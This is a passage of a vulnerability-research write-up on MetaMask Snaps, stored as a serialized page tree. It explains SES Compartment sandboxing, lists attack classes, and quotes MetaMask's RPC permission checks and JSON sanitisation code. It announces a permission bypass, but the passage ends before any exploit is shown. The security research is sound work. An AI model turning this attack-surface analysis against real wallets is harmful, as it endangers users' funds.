compartment",{"type":24,"tag":271,"props":45666,"children":45667},{"style":288},[45668],{"type":29,"value":41},{"type":24,"tag":271,"props":45670,"children":45671},{"style":598},[45672],{"type":29,"value":45673},"evaluate",{"type":24,"tag":271,"props":45675,"children":45676},{"style":288},[45677],{"type":29,"value":606},{"type":24,"tag":271,"props":45679,"children":45680},{"style":630},[45681],{"type":29,"value":45682},"sourceCode",{"type":24,"tag":271,"props":45684,"children":45685},{"style":288},[45686],{"type":29,"value":1155},{"type":24,"tag":271,"props":45688,"children":45689},{"class":273,"line":294},[45690,45694,45698,45703,45707,45711,45715,45720],{"type":24,"tag":271,"props":45691,"children":45692},{"style":278},[45693],{"type":29,"value":43732},{"type":24,"tag":271,"props":45695,"children":45696},{"style":288},[45697],{"type":29,"value":41},{"type":24,"tag":271,"props":45699,"children":45700},{"style":598},[45701],{"type":29,"value":45702},"registerSnapExports",{"type":24,"tag":271,"props":45704,"children":45705},{"style":288},[45706],{"type":29,"value":606},{"type":24,"tag":271,"props":45708,"children":45709},{"style":630},[45710],{"type":29,"value":43688},{"type":24,"tag":271,"props":45712,"children":45713},{"style":288},[45714],{"type":29,"value":158},{"type":24,"tag":271,"props":45716,"children":45717},{"style":630},[45718],{"type":29,"value":45719},"snapModule",{"type":24,"tag":271,"props":45721,"children":45722},{"style":288},[45723],{"type":29,"value":1155},{"type":24,"tag":271,"props":45725,"children":45726},{"class":273,"line":303},[45727],{"type":24,"tag":271,"props":45728,"children":45729},{"style":288},[45730],{"type":29,"value":43005},{"type":24,"tag":25,"props":45732,"children":45733},{},[45734,45736,45742,45743,45749,45750,45756],{"type":29,"value":45735},"According to the documentation, the snap must contain one of the following function exports: ",{"type":24,"tag":135,"props":45737,"children":45739},{"className":45738},[],[45740],{"type":29,"value":45741},"onRpcRequest",{"type":29,"value":158},{"type":24,"tag":135,"props":45744,"children":45746},{"className":45745},[],[45747],{"type":29,"value":45748},"onTransaction",{"type":29,"value":20834},{"type":24,"tag":135,"props":45751,"children":45753},{"className":45752},[],[45754],{"type":29,"value":45755},"onCronjob",{"type":29,"value":41},{"type":24,"tag":25,"props":45758,"children":45759},{},[45760,45762,45767],{"type":29,"value":45761},"Once the Compartment creates these functions, no matter where they are executed, they will always be evaluated within the sandboxed ",{"type":24,"tag":135,"props":45763,"children":45765},{"className":45764},[],[45766],{"type":29,"value":45085},{"type":29,"value":45768}," environment of that Compartment.",{"type":24,"tag":25,"props":45770,"children":45771},{},[45772],{"type":29,"value":45773},"After the evaluation, the function exports are registered and executed later when the respective event is emmited.",{"type":24,"tag":62,"props":45775,"children":45777},{"id":45776},"vulnerability-research",[45778],{"type":29,"value":45779},"Vulnerability research",{"type":24,"tag":85,"props":45781,"children":45783},{"id":45782},"possible-attacks",[45784],{"type":29,"value":45785},"Possible attacks",{"type":24,"tag":25,"props":45787,"children":45788},{},[45789],{"type":29,"value":45790},"While searching for vulnerabilities in snap environments, we enumerated some features that can be broken, and lead to security issues, such as:",{"type":24,"tag":97,"props":45792,"children":45793},{},[45794,45799,45804,45809],{"type":24,"tag":101,"props":45795,"children":45796},{},[45797],{"type":29,"value":45798},"Broken SES Container isolation",{"type":24,"tag":101,"props":45800,"children":45801},{},[45802],{"type":29,"value":45803},"Insecure endowments in Containers",{"type":24,"tag":101,"props":45805,"children":45806},{},[45807],{"type":29,"value":45808},"Incorrect RPC permission checks",{"type":24,"tag":101,"props":45810,"children":45811},{},[45812],{"type":29,"value":45813},"Insecure snap installation/update",{"type":24,"tag":25,"props":45815,"children":45816},{},[45817],{"type":29,"value":45818},"We went through all of these vulnerabilities assumptions, and found a minor permission bypass bug using insecure endowments.",{"type":24,"tag":25,"props":45820,"children":45821},{},[45822],{"type":29,"value":45823},"To understand the exploit, we need to dig into the snap's RPC interfaces exposed via endowments.",{"type":24,"tag":85,"props":45825,"children":45827},{"id":45826},"rpc-interfaces-endowments",[45828],{"type":29,"value":45829},"RPC interfaces endowments",{"type":24,"tag":26585,"props":45831,"children":45833},{"id":45832},"providers-limitations",[45834],{"type":29,"value":45835},"Providers limitations",{"type":24,"tag":25,"props":45837,"children":45838},{},[45839,45841,45847,45848,45853,45855,45862],{"type":29,"value":45840},"A snap has two interfaces that can be used to communicate with metamask RPC interface: ",{"type":24,"tag":135,"props":45842,"children":45844},{"className":45843},[],[45845],{"type":29,"value":45846},"snap",{"type":29,"value":518},{"type":24,"tag":135,"props":45849,"children":45851},{"className":45850},[],[45852],{"type":29,"value":39091},{"type":29,"value":45854}," (EIP-1193). These differ in that each one can only send a subset of the available RPC ",{"type":24,"tag":32,"props":45856,"children":45859},{"href":45857,"rel":45858},"https://github.com/MetaMask/snaps/blob/92fcf31678c13067615e6e69681e57a542a2c58a/packages/snaps-execution-environments/src/common/utils.ts#L130",[36],[45860],{"type":29,"value":45861},"methods",{"type":29,"value":12210},{"type":24,"tag":261,"props":45864,"children":45866},{"className":43281,"code":45865,"language":43283,"meta":7,"style":7},"export function assertSnapOutboundRequest(args: RequestArguments) {\n // Disallow any non `wallet_` or `snap_` methods for separation of concerns.\n assert(\n String.prototype.startsWith.call(args.method, 'wallet_') ||\n String.prototype.startsWith.call(args.method, 'snap_'),\n 'The global Snap API only allows RPC methods starting with `wallet_*` and `snap_*`.',\n );\n assert(\n !BLOCKED_RPC_METHODS.includes(args.method),\n ethErrors.rpc.methodNotFound({\n data: {\n method: args.method,\n },\n }),\n );\n assertStruct(args, JsonStruct, 'Provided value is not JSON-RPC compatible');\n}\n",[45867],{"type":24,"tag":135,"props":45868,"children":45869},{"__ignoreMap":7},[45870,45910,45918,45930,46000,46061,46073,46081,46092,46132,46162,46174,46199,46206,46214,46221,46259],{"type":24,"tag":271,"props":45871,"children":45872},{"class":273,"line":274},[45873,45878,45883,45888,45892,45897,45901,45906],{"type":24,"tag":271,"props":45874,"children":45875},{"style":749},[45876],{"type":29,"value":45877},"export",{"type":24,"tag":271,"props":45879,"children":45880},{"style":278},[45881],{"type":29,"value":45882}," function",{"type":24,"tag":271,"props":45884,"children":45885},{"style":598},[45886],{"type":29,"value":45887}," assertSnapOutboundRequest",{"type":24,"tag":271,"props":45889,"children":45890},{"style":288},[45891],{"type":29,"value":606},{"type":24,"tag":271,"props":45893,"children":45894},{"style":630},[45895],{"type":29,"value":45896},"args",{"type":24,"tag":271,"props":45898,"children":45899},{"style":624},[45900],{"type":29,"value":12210},{"type":24,"tag":271,"props":45902,"children":45903},{"style":3887},[45904],{"type":29,"value":45905}," RequestArguments",{"type":24,"tag":271,"props":45907,"children":45908},{"style":288},[45909],{"type":29,"value":919},{"type":24,"tag":271,"props":45911,"children":45912},{"class":273,"line":284},[45913],{"type":24,"tag":271,"props":45914,"children":45915},{"style":2058},[45916],{"type":29,"value":45917}," // Disallow any non `wallet_` or `snap_` methods for separation of concerns.\n",{"type":24,"tag":271,"props":45919,"children":45920},{"class":273,"line":294},[45921,45926],{"type":24,"tag":271,"props":45922,"children":45923},{"style":598},[45924],{"type":29,"value":45925}," assert",{"type":24,"tag":271,"props":45927,"children":45928},{"style":288},[45929],{"type":29,"value":4028},{"type":24,"tag":271,"props":45931,"children":45932},{"class":273,"line":303},[45933,45938,45942,45947,45951,45956,45960,45965,45969,45973,45977,45982,45986,45991,45995],{"type":24,"tag":271,"props":45934,"children":45935},{"style":3887},[45936],{"type":29,"value":45937}," String",{"type":24,"tag":271,"props":45939,"children":45940},{"style":288},[45941],{"type":29,"value":41},{"type":24,"tag":271,"props":45943,"children":45944},{"style":630},[45945],{"type":29,"value":45946},"prototype",{"type":24,"tag":271,"props":45948,"children":45949},{"style":288},[45950],{"type":29,"value":41},{"type":24,"tag":271,"props":45952,"children":45953},{"style":630},[45954],{"type":29,"value":45955},"startsWith",{"type":24,"tag":271,"props":45957,"children":45958},{"style":288},[45959],{"type":29,"value":41},{"type":24,"tag":271,"props":45961,"children":45962},{"style":598},[45963],{"type":29,"value":45964},"call",{"type":24,"tag":271,"props":45966,"children":45967},{"style":288},[45968],{"type":29,"value":606},{"type":24,"tag":271,"props":45970,"children":45971},{"style":630},[45972],{"type":29,"value":45896},{"type":24,"tag":271,"props":45974,"children":45975},{"style":288},[45976],{"type":29,"value":41},{"type":24,"tag":271,"props":45978,"children":45979},{"style":630},[45980],{"type":29,"value":45981},"method",{"type":24,"tag":271,"props":45983,"children":45984},{"style":288},[45985],{"type":29,"value":158},{"type":24,"tag":271,"props":45987,"children":45988},{"style":378},[45989],{"type":29,"value":45990},"'wallet_'",{"type":24,"tag":271,"props":45992,"children":45993},{"style":288},[45994],{"type":29,"value":8823},{"type":24,"tag":271,"props":45996,"children":45997},{"style":624},[45998],{"type":29,"value":45999},"||\n",{"type":24,"tag":271,"props":46001,"children":46002},{"class":273,"line":312},[46003,46008,46012,46016,46020,46024,46028,46032,46036,46040,46044,46048,46052,46057],{"type":24,"tag":271,"props":46004,"children":46005},{"style":3887},[46006],{"type":29,"value":46007}," String",{"type":24,"tag":271,"props":46009,"children":46010},{"style":288},[46011],{"type":29,"value":41},{"type":24,"tag":271,"props":46013,"children":46014},{"style":630},[46015],{"type":29,"value":45946},{"type":24,"tag":271,"props":46017,"children":46018},{"style":288},[46019],{"type":29,"value":41},{"type":24,"tag":271,"props":46021,"children":46022},{"style":630},[46023],{"type":29,"value":45955},{"type":24,"tag":271,"props":46025,"children":46026},{"style":288},[46027],{"type":29,"value":41},{"type":24,"tag":271,"props":46029,"children":46030},{"style":598},[46031],{"type":29,"value":45964},{"type":24,"tag":271,"props":46033,"children":46034},{"style":288},[46035],{"type":29,"value":606},{"type":24,"tag":271,"props":46037,"children":46038},{"style":630},[46039],{"type":29,"value":45896},{"type":24,"tag":271,"props":46041,"children":46042},{"style":288},[46043],{"type":29,"value":41},{"type":24,"tag":271,"props":46045,"children":46046},{"style":630},[46047],{"type":29,"value":45981},{"type":24,"tag":271,"props":46049,"children":46050},{"style":288},[46051],{"type":29,"value":158},{"type":24,"tag":271,"props":46053,"children":46054},{"style":378},[46055],{"type":29,"value":46056},"'snap_'",{"type":24,"tag":271,"props":46058,"children":46059},{"style":288},[46060],{"type":29,"value":14453},{"type":24,"tag":271,"props":46062,"children":46063},{"class":273,"line":321},[46064,46069],{"type":24,"tag":271,"props":46065,"children":46066},{"style":378},[46067],{"type":29,"value":46068}," 'The global Snap API only allows RPC methods starting with `wallet_*` and `snap_*`.'",{"type":24,"tag":271,"props":46070,"children":46071},{"style":288},[46072],{"type":29,"value":638},{"type":24,"tag":271,"props":46074,"children":46075},{"class":273,"line":330},[46076],{"type":24,"tag":271,"props":46077,"children":46078},{"style":288},[46079],{"type":29,"value":46080}," );\n",{"type":24,"tag":271,"props":46082,"children":46083},{"class":273,"line":339},[46084,46088],{"type":24,"tag":271,"props":46085,"children":46086},{"style":598},[46087],{"type":29,"value":45925},{"type":24,"tag":271,"props":46089,"children":46090},{"style":288},[46091],{"type":29,"value":4028},{"type":24,"tag":271,"props":46093,"children":46094},{"class":273,"line":347},[46095,46099,46104,46108,46112,46116,46120,46124,46128],{"type":24,"tag":271,"props":46096,"children":46097},{"style":624},[46098],{"type":29,"value":28657},{"type":24,"tag":271,"props":46100,"children":46101},{"style":630},[46102],{"type":29,"value":46103},"BLOCKED_RPC_METHODS",{"type":24,"tag":271,"props":46105,"children":46106},{"style":288},[46107],{"type":29,"value":41},{"type":24,"tag":271,"props":46109,"children":46110},{"style":598},[46111],{"type":29,"value":42849},{"type":24,"tag":271,"props":46113,"children":46114},{"style":288},[46115],{"type":29,"value":606},{"type":24,"tag":271,"props":46117,"children":46118},{"style":630},[46119],{"type":29,"value":45896},{"type":24,"tag":271,"props":46121,"children":46122},{"style":288},[46123],{"type":29,"value":41},{"type":24,"tag":271,"props":46125,"children":46126},{"style":630},[46127],{"type":29,"value":45981},{"type":24,"tag":271,"props":46129,"children":46130},{"style":288},[46131],{"type":29,"value":14453},{"type":24,"tag":271,"props":46133,"children":46134},{"class":273,"line":356},[46135,46140,46144,46149,46153,46158],{"type":24,"tag":271,"props":46136,"children":46137},{"style":630},[46138],{"type":29,"value":46139}," ethErrors",{"type":24,"tag":271,"props":46141,"children":46142},{"style":288},[46143],{"type":29,"value":41},{"type":24,"tag":271,"props":46145,"children":46146},{"style":630},[46147],{"type":29,"value":46148},"rpc",{"type":24,"tag":271,"props":46150,"children":46151},{"style":288},[46152],{"type":29,"value":41},{"type":24,"tag":271,"props":46154,"children":46155},{"style":598},[46156],{"type":29,"value":46157},"methodNotFound",{"type":24,"tag":271,"props":46159,"children":46160},{"style":288},[46161],{"type":29,"value":22837},{"type":24,"tag":271,"props":46163,"children":46164},{"class":273,"line":365},[46165,46170],{"type":24,"tag":271,"props":46166,"children":46167},{"style":630},[46168],{"type":29,"value":46169}," data:",{"type":24,"tag":271,"props":46171,"children":46172},{"style":288},[46173],{"type":29,"value":7145},{"type":24,"tag":271,"props":46175,"children":46176},{"class":273,"line":374},[46177,46182,46187,46191,46195],{"type":24,"tag":271,"props":46178,"children":46179},{"style":630},[46180],{"type":29,"value":46181}," method:",{"type":24,"tag":271,"props":46183,"children":46184},{"style":630},[46185],{"type":29,"value":46186}," args",{"type":24,"tag":271,"props":46188,"children":46189},{"style":288},[46190],{"type":29,"value":41},{"type":24,"tag":271,"props":46192,"children":46193},{"style":630},[46194],{"type":29,"value":45981},{"type":24,"tag":271,"props":46196,"children":46197},{"style":288},[46198],{"type":29,"value":638},{"type":24,"tag":271,"props":46200,"children":46201},{"class":273,"line":384},[46202],{"type":24,"tag":271,"props":46203,"children":46204},{"style":288},[46205],{"type":29,"value":44867},{"type":24,"tag":271,"props":46207,"children":46208},{"class":273,"line":393},[46209],{"type":24,"tag":271,"props":46210,"children":46211},{"style":288},[46212],{"type":29,"value":46213}," }),\n",{"type":24,"tag":271,"props":46215,"children":46216},{"class":273,"line":402},[46217],{"type":24,"tag":271,"props":46218,"children":46219},{"style":288},[46220],{"type":29,"value":46080},{"type":24,"tag":271,"props":46222,"children":46223},{"class":273,"line":411},[46224,46229,46233,46237,46241,46246,46250,46255],{"type":24,"tag":271,"props":46225,"children":46226},{"style":598},[46227],{"type":29,"value":46228}," assertStruct",{"type":24,"tag":271,"props":46230,"children":46231},{"style":288},[46232],{"type":29,"value":606},{"type":24,"tag":271,"props":46234,"children":46235},{"style":630},[46236],{"type":29,"value":45896},{"type":24,"tag":271,"props":46238,"children":46239},{"style":288},[46240],{"type":29,"value":158},{"type":24,"tag":271,"props":46242,"children":46243},{"style":630},[46244],{"type":29,"value":46245},"JsonStruct",{"type":24,"tag":271,"props":46247,"children":46248},{"style":288},[46249],{"type":29,"value":158},{"type":24,"tag":271,"props":46251,"children":46252},{"style":378},[46253],{"type":29,"value":46254},"'Provided value is not JSON-RPC compatible'",{"type":24,"tag":271,"props":46256,"children":46257},{"style":288},[46258],{"type":29,"value":1155},{"type":24,"tag":271,"props":46260,"children":46261},{"class":273,"line":420},[46262],{"type":24,"tag":271,"props":46263,"children":46264},{"style":288},[46265],{"type":29,"value":1171},{"type":24,"tag":25,"props":46267,"children":46268},{},[46269,46271,46276,46278,46284,46285,46291],{"type":29,"value":46270},"This function is called by the ",{"type":24,"tag":135,"props":46272,"children":46274},{"className":46273},[],[46275],{"type":29,"value":45846},{"type":29,"value":46277}," RPC provider, so it can only send methods starting with ",{"type":24,"tag":135,"props":46279,"children":46281},{"className":46280},[],[46282],{"type":29,"value":46283},"wallet_",{"type":29,"value":20834},{"type":24,"tag":135,"props":46286,"children":46288},{"className":46287},[],[46289],{"type":29,"value":46290},"snap_",{"type":29,"value":46292},". In addition, there are some blocked RPC methods that immediately throw an error when encountered.",{"type":24,"tag":25,"props":46294,"children":46295},{},[46296,46298,46303,46305,46310,46312,46318],{"type":29,"value":46297},"On the other hand, the ",{"type":24,"tag":135,"props":46299,"children":46301},{"className":46300},[],[46302],{"type":29,"value":39091},{"type":29,"value":46304}," provider only blocks methods starting with ",{"type":24,"tag":135,"props":46306,"children":46308},{"className":46307},[],[46309],{"type":29,"value":46290},{"type":29,"value":46311}," and the blocked methods. However, it requires the ",{"type":24,"tag":135,"props":46313,"children":46315},{"className":46314},[],[46316],{"type":29,"value":46317},"endowment:ethereum-provider",{"type":29,"value":46319}," permission in the snap manifest.",{"type":24,"tag":26585,"props":46321,"children":46323},{"id":46322},"execution-flow",[46324],{"type":29,"value":46325},"Execution flow",{"type":24,"tag":25,"props":46327,"children":46328},{},[46329,46331,46336,46337,46342,46344,46349,46350,46356],{"type":29,"value":46330},"Both providers (",{"type":24,"tag":135,"props":46332,"children":46334},{"className":46333},[],[46335],{"type":29,"value":45846},{"type":29,"value":518},{"type":24,"tag":135,"props":46338,"children":46340},{"className":46339},[],[46341],{"type":29,"value":39091},{"type":29,"value":46343},") are built outside the SES container with a ",{"type":24,"tag":135,"props":46345,"children":46347},{"className":46346},[],[46348],{"type":29,"value":39167},{"type":29,"value":3360},{"type":24,"tag":32,"props":46351,"children":46354},{"href":46352,"rel":46353},"https://github.com/MetaMask/snaps/blob/main/packages/snaps-execution-environments/src/common/BaseSnapExecutor.ts#L437",[36],[46355],{"type":29,"value":39052},{"type":29,"value":12210},{"type":24,"tag":261,"props":46358,"children":46360},{"className":43598,"code":46359,"language":43600,"meta":7,"style":7}," const request = async (args: RequestArguments) => {\n assertSnapOutboundRequest(args); // or assertEthereumOutboundRequest(args);\n const sanitizedArgs = getSafeJson(args);\n this.notify({ method: 'OutboundRequest' });\n try {\n return await withTeardown(\n originalRequest(sanitizedArgs as unknown as RequestArguments),\n this as any,\n );\n } finally {\n this.notify({ method: 'OutboundResponse' });\n }\n };\n",[46361],{"type":24,"tag":135,"props":46362,"children":46363},{"__ignoreMap":7},[46364,46411,46436,46469,46504,46516,46536,46574,46594,46601,46618,46651,46658],{"type":24,"tag":271,"props":46365,"children":46366},{"class":273,"line":274},[46367,46371,46375,46379,46383,46387,46391,46395,46399,46403,46407],{"type":24,"tag":271,"props":46368,"children":46369},{"style":278},[46370],{"type":29,"value":43856},{"type":24,"tag":271,"props":46372,"children":46373},{"style":598},[46374],{"type":29,"value":39057},{"type":24,"tag":271,"props":46376,"children":46377},{"style":624},[46378],{"type":29,"value":1712},{"type":24,"tag":271,"props":46380,"children":46381},{"style":278},[46382],{"type":29,"value":44033},{"type":24,"tag":271,"props":46384,"children":46385},{"style":288},[46386],{"type":29,"value":1357},{"type":24,"tag":271,"props":46388,"children":46389},{"style":630},[46390],{"type":29,"value":45896},{"type":24,"tag":271,"props":46392,"children":46393},{"style":624},[46394],{"type":29,"value":12210},{"type":24,"tag":271,"props":46396,"children":46397},{"style":3887},[46398],{"type":29,"value":45905},{"type":24,"tag":271,"props":46400,"children":46401},{"style":288},[46402],{"type":29,"value":8823},{"type":24,"tag":271,"props":46404,"children":46405},{"style":278},[46406],{"type":29,"value":22519},{"type":24,"tag":271,"props":46408,"children":46409},{"style":288},[46410],{"type":29,"value":7145},{"type":24,"tag":271,"props":46412,"children":46413},{"class":273,"line":284},[46414,46419,46423,46427,46431],{"type":24,"tag":271,"props":46415,"children":46416},{"style":598},[46417],{"type":29,"value":46418}," assertSnapOutboundRequest",{"type":24,"tag":271,"props":46420,"children":46421},{"style":288},[46422],{"type":29,"value":606},{"type":24,"tag":271,"props":46424,"children":46425},{"style":630},[46426],{"type":29,"value":45896},{"type":24,"tag":271,"props":46428,"children":46429},{"style":288},[46430],{"type":29,"value":36030},{"type":24,"tag":271,"props":46432,"children":46433},{"style":2058},[46434],{"type":29,"value":46435},"// or assertEthereumOutboundRequest(args);\n",{"type":24,"tag":271,"props":46437,"children":46438},{"class":273,"line":294},[46439,46443,46448,46452,46457,46461,46465],{"type":24,"tag":271,"props":46440,"children":46441},{"style":278},[46442],{"type":29,"value":646},{"type":24,"tag":271,"props":46444,"children":46445},{"style":630},[46446],{"type":29,"value":46447}," sanitizedArgs",{"type":24,"tag":271,"props":46449,"children":46450},{"style":624},[46451],{"type":29,"value":1712},{"type":24,"tag":271,"props":46453,"children":46454},{"style":598},[46455],{"type":29,"value":46456}," getSafeJson",{"type":24,"tag":271,"props":46458,"children":46459},{"style":288},[46460],{"type":29,"value":606},{"type":24,"tag":271,"props":46462,"children":46463},{"style":630},[46464],{"type":29,"value":45896},{"type":24,"tag":271,"props":46466,"children":46467},{"style":288},[46468],{"type":29,"value":1155},{"type":24,"tag":271,"props":46470,"children":46471},{"class":273,"line":303},[46472,46477,46481,46486,46490,46494,46499],{"type":24,"tag":271,"props":46473,"children":46474},{"style":278},[46475],{"type":29,"value":46476}," this",{"type":24,"tag":271,"props":46478,"children":46479},{"style":288},[46480],{"type":29,"value":41},{"type":24,"tag":271,"props":46482,"children":46483},{"style":598},[46484],{"type":29,"value":46485},"notify",{"type":24,"tag":271,"props":46487,"children":46488},{"style":288},[46489],{"type":29,"value":39172},{"type":24,"tag":271,"props":46491,"children":46492},{"style":630},[46493],{"type":29,"value":39177},{"type":24,"tag":271,"props":46495,"children":46496},{"style":378},[46497],{"type":29,"value":46498}," 'OutboundRequest'",{"type":24,"tag":271,"props":46500,"children":46501},{"style":288},[46502],{"type":29,"value":46503}," });\n",{"type":24,"tag":271,"props":46505,"children":46506},{"class":273,"line":312},[46507,46512],{"type":24,"tag":271,"props":46508,"children":46509},{"style":749},[46510],{"type":29,"value":46511}," try",{"type":24,"tag":271,"props":46513,"children":46514},{"style":288},[46515],{"type":29,"value":7145},{"type":24,"tag":271,"props":46517,"children":46518},{"class":273,"line":321},[46519,46523,46527,46532],{"type":24,"tag":271,"props":46520,"children":46521},{"style":749},[46522],{"type":29,"value":8905},{"type":24,"tag":271,"props":46524,"children":46525},{"style":749},[46526],{"type":29,"value":43879},{"type":24,"tag":271,"props":46528,"children":46529},{"style":598},[46530],{"type":29,"value":46531}," withTeardown",{"type":24,"tag":271,"props":46533,"children":46534},{"style":288},[46535],{"type":29,"value":4028},{"type":24,"tag":271,"props":46537,"children":46538},{"class":273,"line":330},[46539,46544,46548,46553,46557,46562,46566,46570],{"type":24,"tag":271,"props":46540,"children":46541},{"style":598},[46542],{"type":29,"value":46543}," originalRequest",{"type":24,"tag":271,"props":46545,"children":46546},{"style":288},[46547],{"type":29,"value":606},{"type":24,"tag":271,"props":46549,"children":46550},{"style":630},[46551],{"type":29,"value":46552},"sanitizedArgs",{"type":24,"tag":271,"props":46554,"children":46555},{"style":749},[46556],{"type":29,"value":16541},{"type":24,"tag":271,"props":46558,"children":46559},{"style":3887},[46560],{"type":29,"value":46561}," unknown",{"type":24,"tag":271,"props":46563,"children":46564},{"style":749},[46565],{"type":29,"value":16541},{"type":24,"tag":271,"props":46567,"children":46568},{"style":3887},[46569],{"type":29,"value":45905},{"type":24,"tag":271,"props":46571,"children":46572},{"style":288},[46573],{"type":29,"value":14453},{"type":24,"tag":271,"props":46575,"children":46576},{"class":273,"line":339},[46577,46582,46586,46590],{"type":24,"tag":271,"props":46578,"children":46579},{"style":278},[46580],{"type":29,"value":46581}," this",{"type":24,"tag":271,"props":46583,"children":46584},{"style":749},[46585],{"type":29,"value":16541},{"type":24,"tag":271,"props":46587,"children":46588},{"style":3887},[46589],{"type":29,"value":18062},{"type":24,"tag":271,"props":46591,"children":46592},{"style":288},[46593],{"type":29,"value":638},{"type":24,"tag":271,"props":46595,"children":46596},{"class":273,"line":347},[46597],{"type":24,"tag":271,"props":46598,"children":46599},{"style":288},[46600],{"type":29,"value":15460},{"type":24,"tag":271,"props":46602,"children":46603},{"class":273,"line":356},[46604,46609,46614],{"type":24,"tag":271,"props":46605,"children":46606},{"style":288},[46607],{"type":29,"value":46608}," } ",{"type":24,"tag":271,"props":46610,"children":46611},{"style":749},[46612],{"type":29,"value":46613},"finally",{"type":24,"tag":271,"props":46615,"children":46616},{"style":288},[46617],{"type":29,"value":7145},{"type":24,"tag":271,"props":46619,"children":46620},{"class":273,"line":365},[46621,46626,46630,46634,46638,46642,46647],{"type":24,"tag":271,"props":46622,"children":46623},{"style":278},[46624],{"type":29,"value":46625}," this",{"type":24,"tag":271,"props":46627,"children":46628},{"style":288},[46629],{"type":29,"value":41},{"type":24,"tag":271,"props":46631,"children":46632},{"style":598},[46633],{"type":29,"value":46485},{"type":24,"tag":271,"props":46635,"children":46636},{"style":288},[46637],{"type":29,"value":39172},{"type":24,"tag":271,"props":46639,"children":46640},{"style":630},[46641],{"type":29,"value":39177},{"type":24,"tag":271,"props":46643,"children":46644},{"style":378},[46645],{"type":29,"value":46646}," 'OutboundResponse'",{"type":24,"tag":271,"props":46648,"children":46649},{"style":288},[46650],{"type":29,"value":46503},{"type":24,"tag":271,"props":46652,"children":46653},{"class":273,"line":374},[46654],{"type":24,"tag":271,"props":46655,"children":46656},{"style":288},[46657],{"type":29,"value":20365},{"type":24,"tag":271,"props":46659,"children":46660},{"class":273,"line":384},[46661],{"type":24,"tag":271,"props":46662,"children":46663},{"style":288},[46664],{"type":29,"value":46665}," };\n",{"type":24,"tag":25,"props":46667,"children":46668},{},[46669,46671,46676,46678,46683],{"type":29,"value":46670},"In particular, this function is from the ",{"type":24,"tag":135,"props":46672,"children":46674},{"className":46673},[],[46675],{"type":29,"value":45846},{"type":29,"value":46677}," provider, but the only thing that changes between this and ",{"type":24,"tag":135,"props":46679,"children":46681},{"className":46680},[],[46682],{"type":29,"value":39091},{"type":29,"value":46684}," is the assert function in the first line.",{"type":24,"tag":25,"props":46686,"children":46687},{},[46688],{"type":29,"value":46689},"As we can see in the code, the execution flow follows this pattern:",{"type":24,"tag":3834,"props":46691,"children":46692},{},[46693,46705,46710],{"type":24,"tag":101,"props":46694,"children":46695},{},[46696,46698,46703],{"type":29,"value":46697},"Assert if ",{"type":24,"tag":135,"props":46699,"children":46701},{"className":46700},[],[46702],{"type":29,"value":45896},{"type":29,"value":46704}," are valid",{"type":24,"tag":101,"props":46706,"children":46707},{},[46708],{"type":29,"value":46709},"getSafeJson to get sanitizedArgs",{"type":24,"tag":101,"props":46711,"children":46712},{},[46713],{"type":29,"value":46714},"originalRequest(sanitizedArgs)",{"type":24,"tag":25,"props":46716,"children":46717},{},[46718,46720,46726],{"type":29,"value":46719},"Obs: ",{"type":24,"tag":135,"props":46721,"children":46723},{"className":46722},[],[46724],{"type":29,"value":46725},"originalRequest",{"type":29,"value":46727}," makes the RPC call to metamask service worker",{"type":24,"tag":85,"props":46729,"children":46731},{"id":46730},"safe-json-exploit",[46732],{"type":29,"value":46733},"Safe JSON Exploit",{"type":24,"tag":25,"props":46735,"children":46736},{},[46737,46739,46745,46747,46752,46754,46760],{"type":29,"value":46738},"As we dug further into the",{"type":24,"tag":135,"props":46740,"children":46742},{"className":46741},[],[46743],{"type":29,"value":46744},"getSafeJson",{"type":29,"value":46746}," function (defined in ",{"type":24,"tag":135,"props":46748,"children":46750},{"className":46749},[],[46751],{"type":29,"value":44964},{"type":29,"value":46753}," package) we discovered the following ",{"type":24,"tag":32,"props":46755,"children":46758},{"href":46756,"rel":46757},"https://github.com/MetaMask/utils/blob/7f0116d4d853d85319d200c503a2f9abc390f1d3/src/json.ts#L72",[36],[46759],{"type":29,"value":135},{"type":29,"value":12210},{"type":24,"tag":261,"props":46762,"children":46764},{"className":43281,"code":46763,"language":43283,"meta":7,"style":7},"export const JsonStruct = coerce(UnsafeJsonStruct, any(), (value) => {\n assertStruct(value, UnsafeJsonStruct);\n return JSON.parse(\n JSON.stringify(value, (propKey, propValue) => {\n // Strip __proto__ and constructor properties to prevent prototype pollution.\n if (propKey === '__proto__' || propKey === 'constructor') {\n return undefined;\n }\n return propValue;\n }),\n );\n});\n",[46765],{"type":24,"tag":135,"props":46766,"children":46767},{"__ignoreMap":7},[46768,46833,46860,46884,46939,46947,46994,47010,47017,47034,47041,47048],{"type":24,"tag":271,"props":46769,"children":46770},{"class":273,"line":274},[46771,46775,46780,46785,46789,46794,46798,46803,46807,46811,46816,46821,46825,46829],{"type":24,"tag":271,"props":46772,"children":46773},{"style":749},[46774],{"type":29,"value":45877},{"type":24,"tag":271,"props":46776,"children":46777},{"style":278},[46778],{"type":29,"value":46779}," const",{"type":24,"tag":271,"props":46781,"children":46782},{"style":630},[46783],{"type":29,"value":46784}," JsonStruct",{"type":24,"tag":271,"props":46786,"children":46787},{"style":624},[46788],{"type":29,"value":1712},{"type":24,"tag":271,"props":46790,"children":46791},{"style":598},[46792],{"type":29,"value":46793}," coerce",{"type":24,"tag":271,"props":46795,"children":46796},{"style":288},[46797],{"type":29,"value":606},{"type":24,"tag":271,"props":46799,"children":46800},{"style":630},[46801],{"type":29,"value":46802},"UnsafeJsonStruct",{"type":24,"tag":271,"props":46804,"children":46805},{"style":288},[46806],{"type":29,"value":158},{"type":24,"tag":271,"props":46808,"children":46809},{"style":598},[46810],{"type":29,"value":24407},{"type":24,"tag":271,"props":46812,"children":46813},{"style":288},[46814],{"type":29,"value":46815},"(), 